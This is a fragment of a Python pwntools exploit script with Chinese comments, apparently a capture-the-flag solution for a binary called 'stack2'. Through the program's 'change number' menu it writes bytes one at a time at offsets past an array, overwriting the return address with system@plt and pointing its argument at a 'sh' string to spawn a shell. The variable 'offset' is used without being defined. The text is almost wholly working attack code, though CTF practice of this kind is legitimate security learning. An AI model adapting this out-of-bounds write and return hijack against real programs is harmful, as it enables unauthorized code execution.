p = process('./stack2') # 由于是小端序,所以我们要将低地址存低位字节,高地址存高位字节,先修改system.plt ,然后再修改sh,构造成system(sh),从而得到shell p.sendlineafter("How many numbers you have:", '1') p.sendlineafter("Give me your numbers", '1')
p.sendlineafter("5. exit", '3') p.sendlineafter("which number to change:", str(offset)) p.sendlineafter("new number:", '80') # 0x50
p.sendlineafter("5. exit", '3') p.sendlineafter("which number to change:", str(offset + 1)) p.sendlineafter("new number:", '132') # 0x84
p.sendlineafter("5. exit", '3') p.sendlineafter("which number to change:", str(offset + 2)) p.sendlineafter("new number:", '4') # 0x04
p.sendlineafter("5. exit", '3') p.sendlineafter("which number to change:", str(offset + 3)) p.sendlineafter("new number:", '8') # 0x08 # 这里使用offset+8而不是offset+4是因为我们又重新调用了新的字符串,所以必须要将ebp寄存器的4个字节考虑进来; # 跳过 ebp,写参数地址 "/bin/sh" p.sendlineafter("5. exit", '3') p.sendlineafter("which number to change:", str(offset + 8)) p.sendlineafter("new number:", '135') # 0x87
p.sendlineafter("5. exit", '3') p.sendlineafter("which number to change:", str(offset + 9)) p.sendlineafter("new number:", '137') # 0x89
p.sendlineafter("5. exit", '3') p.sendlineafter("which number to change:", str(offset + 10)) p.sendlineafter("new number:", '4') # 0x04
p.sendlineafter("5. exit", '3') p.sendlineafter("which number to change:", str(offset + 11)) p.sendlineafter("new number:", '8') # 0x08